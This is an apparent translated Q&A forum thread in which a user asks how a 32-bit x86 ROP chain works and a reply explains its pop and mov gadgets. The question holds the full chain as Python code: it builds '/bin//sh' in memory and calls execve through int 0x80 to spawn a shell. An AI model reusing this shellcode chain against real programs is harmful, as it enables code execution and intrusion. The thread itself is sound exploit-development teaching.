security
  • assembly
  • x86
  • buffer-overflow
  • exploit
  • 2015-04-04 29 views -1 likes 
    -1

    我需要帮助了解此ROP小工具(如下所示)如何按部就班地工作。 我很困惑,为什么在这里需要mov和pop指令。了解ROP小工具

    p = "" 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0060) # @ .data 
    p += pack('<I', 0x080f3246) # pop eax ; ret 
    p += '/bin' 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0064) # @ .data + 4 
    p += pack('<I', 0x080f3246) # pop eax ; ret 
    p += '//sh' 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08061150) # xor eax, eax ; ret 
    p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
    p += pack('<I', 0x080481f1) # pop ebx ; ret 
    p += pack('<I', 0x081e0060) # @ .data 
    p += pack('<I', 0x0819d91d) # pop ecx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08139e7a) # pop edx ; ret 
    p += pack('<I', 0x081e0068) # @ .data + 8 
    p += pack('<I', 0x08061150) # xor eax, eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x080f7a28) # inc eax ; ret 
    p += pack('<I', 0x0805726e) # int 0x80 
    
    +0

    ROP链在很大程度上取决于ROP启动时寄存器和内存的上下文(无论堆栈,堆,模块位置等)。我们错过了这个背景。另外,为什么不尝试使用指向0xCC(断点)的小工具启动ROP链(或者只需在程序中启动漏洞时放置一个断点),然后使用调试器跟随链。你会立即看到连锁店发生了什么。 – Neitsa 2015-04-04 14:05:15

    回答

    2

    正如你已经知道,这条产业链创造了一个execve系统调用,这需要一个零终止的程序名,NULL终止参数数组和NULL终止环境参数数组。要创建这些,你需要将一些值写入内存,并加载一些寄存器。原作者发现了一些有用的小工具。 mov dword ptr [edx], eax ; ret允许您将任意双字(应该在eax中)写入任意地址(应位于edx中)。要将值存入寄存器,可以使用pop小工具,因为您可以控制堆栈。

    显然这不是唯一的可能方式,如果你发现其他ROP小工具,你可以做一个不同的链。

    相关问题